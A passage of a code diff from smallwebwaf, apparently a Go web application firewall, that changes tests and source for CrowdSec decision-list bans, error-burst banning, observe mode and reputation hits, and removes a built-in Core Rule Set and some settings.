if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
expires)) {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting)
}
// Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
wantReputation(t, line)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
}
clk.advance(time.Second)
s.get(client, http.StatusOK, requestlog.ActionForward)
// The ban and the hit are counted, and the list has the metrics of any
// list fetched from a URL.
metrics := s.scrape(unplaced)
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+
`instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()))
}
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
// answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
`"value": "2001:db8::9"}]`)
// Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond)
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned)
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned)
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned)
// Once it has ended, it bans no other client, and the bans it made end
// with it.
clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
}
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"2001:db8::/64", made)
}
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
}
}
func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
wantReputation(t, line, decisionsURL)
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("bans %+v, want none", held)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"marked observe", waiting)
}
}
// loadDecisions puts into server's lists the copy of the decision list at
// decisionsURL, answer, the engine's answer, fetched at fetched, as
// reputation.json would at start.
func loadDecisions(
t *testing.T, server *proxy.Server, fetched time.Time, answer string,
) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
}})
if err != nil {
t.Fatalf("load the decision list: %v", err)
}
}
internal/proxy/errorburst_test.go
-395
View File
@@ -1,395 +0,0 @@
package proxy_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which smallwebwaf refuses
// after a rule file match, or for a missing or wrong token.
type refused int
const (
// blockRule is a request testRules' block rule refuses with 403.
blockRule refused = iota
// banRule is one its ban rule refuses with 403, and bans the client
// for.
banRule
// noMetricsToken is one for the metrics without a token, and
// wrongAdminToken one for the bans with the metrics token, each
// refused with 401.
noMetricsToken
wrongAdminToken
)
// send sends r from the client at from, checks its answer and log line as
// sender.request does, and returns the line.
func (r refused) send(s *sender, from string) logLine {
s.t.Helper()
switch r {
case blockRule:
return s.request(from, blockedPath, http.StatusForbidden,
requestlog.ActionRuleBlocked)
case banRule:
return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
case noMetricsToken:
return s.request(from, proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin)
case wrongAdminToken:
line, _ := s.requestWithHeader(from, proxy.BansPath, "Authorization: "+bearer,
http.StatusUnauthorized, requestlog.ActionAdmin)
return line
}
s.t.Fatalf("no request for the refusal %d", r)
return logLine{}
}
// startForErrorBurst is startWithClock with testRules, both tokens and
// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *proxy.Server) {
t.Helper()
settings := map[string]string{
errorBurstThreshold: threshold,
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
metricsToken: token,
}
maps.Copy(settings, env)
return startWithClock(t, "", settings)
}
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the threshold of three.
refusals []refused
}{
{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
{
"missing or wrong token",
[]refused{noMetricsToken, wrongAdminToken, noMetricsToken, wrongAdminToken},
},
{
"a mix ending in a ban rule",
[]refused{blockRule, noMetricsToken, blockRule, banRule},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "3", nil)
// Three refusals break nothing, and the app's answers between
// them are not counted.
for i, r := range tc.refusals[:3] {
line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"want none", i+1, line.LimitHit, line.Offence)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The fourth is answered as the others were, breaks the error
// burst, and bans the client.
line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
"and limit", line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
})
}
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, clk, server := startForErrorBurst(t, "2", nil)
start := clk.Now()
blockRule.send(s, client)
wrongAdminToken.send(s, client)
line := blockRule.send(s, client)
expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: expires,
Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 2",
Notes: bans.Notes{
Kind: ratelimit.KindRefusals,
Limit: 2,
Window: minute,
Count: 3,
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: blockedPath,
Status: http.StatusForbidden,
UserAgent: userAgent,
},
Requests: 3,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 2, TokenRefused: 1}
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 2)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="token_refused"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
}
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules),
countryLimitPercent: countryDEHalf,
})
// Half of the threshold would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
}
}
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel()
statuses := map[string]int{
"/missing": http.StatusNotFound,
"/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden,
}
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(statuses[r.URL.Path])
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
for range 2 {
for path, status := range statuses {
s.request(client, path, status, requestlog.ActionForward)
}
}
// The first refusal is one, not over the threshold.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
// No ban was made, nor its alert raised.
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
wantAlerts(t, queue)
}
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
threshold string
// broken is whether the 31st refusal breaks the error burst.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel()
env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" {
env[errorBurstThreshold] = tc.threshold
}
s, _, _ := startWithClock(t, "", env)
var line logLine
for range 31 {
line = blockRule.send(s, client)
}
if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
broken, tc.broken)
}
})
}
}
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
// A client in SWWAF_ALLOW_NETS still needs the token, but is not
// counted.
for range 3 {
line := noMetricsToken.send(s, allowed)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// One the rate limits do not apply to is.
noMetricsToken.send(s, exempt)
line := wrongAdminToken.send(s, exempt)
if line.LimitHit != requestlog.LimitHitErrorBurst {
t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
}
s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
}
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel()
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
blockRule.send(s, client)
blockRule.send(s, client)
// Within the same minute, once the ban has ended, the next refusal is
// the first again.
clk.advance(time.Second)
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
})
start := clk.Now()
held := bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"),
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseAdmin,
}
server.Ledger.Load([]bans.Ban{held})
// Under a ban, enforce mode would have refused these before the
// endpoint, so their tokens are not counted.
for range 2 {
line := wrongAdminToken.send(s, otherClient)
wantWouldAction(t, line, requestlog.ActionBanned)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// The block rule's refusal, which enforce mode would have answered 403,
// is the second of the client's, and would have banned it.
wrongAdminToken.send(s, client)
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRuleBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
"and none", line.LimitHit, line.BanExpires)
}
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
t.Errorf("bans %+v, want only the one held", got)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
}
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden {
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
notes)
}
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
internal/proxy/history_test.go
-19
View File
@@ -18,7 +18,6 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "2",
deniedCountries: "kp",
})
@@ -57,24 +56,6 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
}
}
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
// The third client drops the least recently seen, the first, with its
// history.
for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
s.get(from, http.StatusOK, requestlog.ActionForward)
}
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
if server.Limiter.Len() != 2 || held {
t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
"without it", server.Limiter.Len(), held)
}
}
func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
t.Parallel()
internal/proxy/lookup.go
+2 -2
View File
@@ -31,9 +31,9 @@ func (rq *request) lookUp(ctx context.Context) {
}
if rq.h.config.LookupSource == "file" {
rq.lookupAnswer = rq.h.lookupFile.LookUp(rq.h.clientGroup(rq.client))
rq.lookupAnswer = rq.h.lookupFile.LookUp(clientGroup(rq.client))
} else {
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, rq.h.clientGroup(rq.client))
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, clientGroup(rq.client))
}
rq.lookedUp = true
internal/proxy/lookup_test.go
-1
View File
@@ -249,7 +249,6 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: "true",
})
s := &sender{t: t, addr: addr, out: out}
internal/proxy/observe_test.go
+1 -3
View File
@@ -5,7 +5,6 @@ import (
"io"
"net/http"
"net/netip"
"reflect"
"sync/atomic"
"testing"
"time"
@@ -39,7 +38,6 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
deniedCountries: "kp",
@@ -128,7 +126,7 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
}
got := server.Ledger.Snapshot()
if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
if len(got) != 1 || got[0] != kept {
t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
}
}
internal/proxy/passthrough_test.go
+1 -20
View File
@@ -320,7 +320,7 @@ func TestServerHasTheDefaultLimits(t *testing.T) {
server := proxy.New(proxy.Params{
Config: cfg,
RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName, cfg.LogLevel),
ProcessLog: requestlog.NewProcessLogger(io.Discard, cfg.InstanceName),
})
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
@@ -399,25 +399,6 @@ func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) {
}
}
func TestLogLevelHoldsBackNoRequestLine(t *testing.T) {
t.Parallel()
// At error the warning that the request to the app failed is held back,
// and is written before the answer is.
addr, out := startProxy(t, "http://"+localhost+":1", map[string]string{
"SWWAF_LOG_LEVEL": "error",
})
wantStatus(t, get(t, addr, "/"), http.StatusBadGateway)
wantLine(t, out.requestLine(t), http.StatusBadGateway, requestlog.ActionUpstreamError)
for _, line := range out.lines(t) {
if line["type"] == "process" {
t.Errorf("process line %v, want none at error", line)
}
}
}
func TestLogsAnAnswerThatBrokeOff(t *testing.T) {
t.Parallel()
internal/proxy/proxy.go
+30 -61
View File
@@ -21,7 +21,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// How smallwebwaf keeps connections to the app open between requests.
@@ -75,11 +74,9 @@ type Params struct {
Rules *rules.Files
// Alerts receive the alert for each ban the proxy makes or makes
// permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
// whose client a blocklist, a DNSBL zone or AbuseIPDB lists, and for
// GeoJS failing, a fetch of a list failing, a query to a DNSBL zone or
// a check with AbuseIPDB failing, or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue
}
@@ -127,7 +124,7 @@ func New(params Params) *Server {
BytesPerMinute: params.Config.BytesLimitPerMinute,
BytesPerHour: params.Config.BytesLimitPerHour,
BytesPerDay: params.Config.BytesLimitPerDay,
}, params.Config.MaxTrackedClients),
}),
ledger: bans.New(bans.Rules{
LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
@@ -146,13 +143,12 @@ func New(params Params) *Server {
NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts,
}),
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
coreRuleSet: newCoreRuleSet(params.Config),
alerts: params.Alerts,
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
alerts: params.Alerts,
}
h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL,
@@ -206,9 +202,8 @@ func newReputation(
cfg := params.Config
lists := reputation.New(reputation.Params{
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
ASNLimitPercentURL: cfg.ASNLimitPercentURL,
CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
ASNLimitPercentURL: cfg.ASNLimitPercentURL, Now: params.Now,
ProcessLog: params.ProcessLog, Alerts: params.Alerts,
})
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
@@ -231,49 +226,26 @@ func newReputation(
return lists, dnsbl, abuseIPDB
}
// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off.
func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
if cfg.WAFMode == config.WAFModeOff {
return nil
}
coreRuleSet, err := waf.New(waf.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: cfg.WAFBodyLimit,
})
if err != nil {
// The Core Rule Set is built in, and the settings cannot break it:
// the paranoia level is from 1 to 4, the body limit at most 1G, and
// the id of no rule switches nothing off.
panic(err)
}
return coreRuleSet
}
// handler is the proxy. It holds what every request shares; what belongs
// to one request is in a request.
type handler struct {
config *config.Config
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
transport http.RoundTripper
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
rules *rules.Files
coreRuleSet *waf.CoreRuleSet
alerts *alerts.Queue
config *config.Config
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
transport http.RoundTripper
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
rules *rules.Files
alerts *alerts.Queue
}
// newTransport returns what carries requests to the app. It never goes
@@ -308,12 +280,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
// Once the request has ended, before its log line is written. The
// last deferred runs first: countRefusal before addToHistory, so that
// a broken error burst is in the client's history.
// Once the request has ended, before its log line is written.
defer rq.addToHistory()
defer rq.countAnomalies()
defer rq.countRefusal()
refused := rq.check(r.Context())
rq.checked = time.Now()
internal/proxy/proxy_test.go
+3 -12
View File
@@ -61,8 +61,6 @@ const (
requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES"
responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES"
trustedProxies = "SWWAF_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
allowNets = "SWWAF_ALLOW_NETS"
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWWAF_DENY_NETS"
@@ -85,12 +83,8 @@ const (
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
rulesDir = "SWWAF_RULES_DIR"
wafMode = "SWWAF_WAF_MODE"
)
// off is the value that switches a setting off.
const off = "off"
// output collects what smallwebwaf writes on stdout.
type output struct {
mu sync.Mutex
@@ -275,9 +269,7 @@ func startProxyWithAlerts(
// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
// is off unless env sets it. While it is file, the lookup database
// SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
// unless env sets it, so that only the tests of the Core Rule Set have
// their requests inspected by it.
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY.
func newProxy(
t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string,
@@ -286,10 +278,9 @@ func newProxy(
settings := map[string]string{
"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
wafMode: off,
}
if geojsURL == "" {
settings[lookupSource] = off
settings[lookupSource] = "off"
}
maps.Copy(settings, env)
@@ -304,7 +295,7 @@ func newProxy(
}
out := &output{}
processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
processLog := requestlog.NewProcessLogger(out, cfg.InstanceName)
ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
internal/proxy/ratelimits_test.go
-43
View File
@@ -72,49 +72,6 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
}
}
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
t.Parallel()
// With SWWAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
// /64s of one /48, are one client, and the second's request breaks the
// limit; the third, in the next /48, is another client.
const (
first = "2001:db8:9::1"
second = "2001:db8:9:1::1"
other = "2001:db8:a::1"
)
for _, tc := range []struct {
setting, value string
// status and action are those of the request that breaks the
// limit: a rate limit refuses it, a byte limit passes it on.
status int
action string
}{
{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionRateLimited},
{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
ipv6GroupPrefix: "48", tc.setting: tc.value,
})
s.get(first, http.StatusOK, requestlog.ActionForward)
line := s.get(second, tc.status, tc.action)
if line.ClientGroup != "2001:db8:9::/48" ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has client_group %q and offence %q, "+
"want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence)
}
s.get(other, http.StatusOK, requestlog.ActionForward)
})
}
}
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
t.Parallel()
internal/proxy/reputation.go
+14 -37
View File
@@ -2,10 +2,8 @@ package proxy
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
)
@@ -26,22 +24,6 @@ func (rq *request) blocklistDenied() bool {
return rq.blocklisted && rq.h.config.BlocklistAction == deny
}
// crowdSecBanned reports whether a decision of the CrowdSec decision list
// on the client is in force at now. If one is, it notes the list, as
// noteHit does, and bans the client until that decision ends.
func (rq *request) crowdSecBanned(now time.Time) bool {
decision, listed := rq.h.lists.CrowdSecDecision(rq.client, now)
if !listed {
return false
}
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
"listed by the CrowdSec decision list")
rq.banForCrowdSec(now, decision)
return true
}
// dnsblDenied notes the DNSBL zones whose verdict lists the client, as
// noteListed does, and reports whether SWWAF_REPUTATION_ACTION, being
// deny, refuses the request. Being limit, it lowers the client's limits
@@ -70,7 +52,7 @@ func (rq *request) abuseIPDBDenied(ctx context.Context) bool {
return false
}
client := rq.h.clientGroup(rq.client)
client := clientGroup(rq.client)
held, _ := rq.h.limiter.Client(client)
offender := held.History.Offences != ratelimit.Offences{}
@@ -80,38 +62,33 @@ func (rq *request) abuseIPDBDenied(ctx context.Context) bool {
}
rq.abuseIPDBHit = true
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
"scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE")
rq.noteHit(reputation.AbuseIPDBSource, "scored by AbuseIPDB at or over "+
"SWWAF_ABUSEIPDB_MIN_SCORE", map[string]any{
"source": reputation.AbuseIPDBSource, "score": score,
})
return rq.h.config.ReputationAction == deny
}
// noteListed notes each of sources, the URLs of the blocklists or the
// DNSBL zones, their keys masked, that list the client, as noteHit does,
// with reason.
// with reason, and the source in the alert's detail.
func (rq *request) noteListed(sources []string, reason string) {
for _, source := range sources {
rq.noteHit(bans.ReputationHit{Source: source}, reason)
rq.noteHit(source, reason, map[string]any{"source": source})
}
}
// noteHit adds hit's source, which lists the client, to the log line's
// reputation, and hit to the notes of a ban the request makes, counts the
// source in the metrics, and raises a reputation_hit alert with reason,
// whose detail gives hit's source and score.
func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
detail := map[string]any{"source": hit.Source}
if hit.Score != nil {
detail["score"] = *hit.Score
}
rq.line.Reputation = append(rq.line.Reputation, hit.Source)
rq.reputation = append(rq.reputation, hit)
rq.h.metrics.ReputationHit(hit.Source)
// noteHit adds source, which lists the client, to the log line's
// reputation, counts it in the metrics, and raises a reputation_hit alert
// with reason and detail.
func (rq *request) noteHit(source, reason string, detail map[string]any) {
rq.line.Reputation = append(rq.line.Reputation, source)
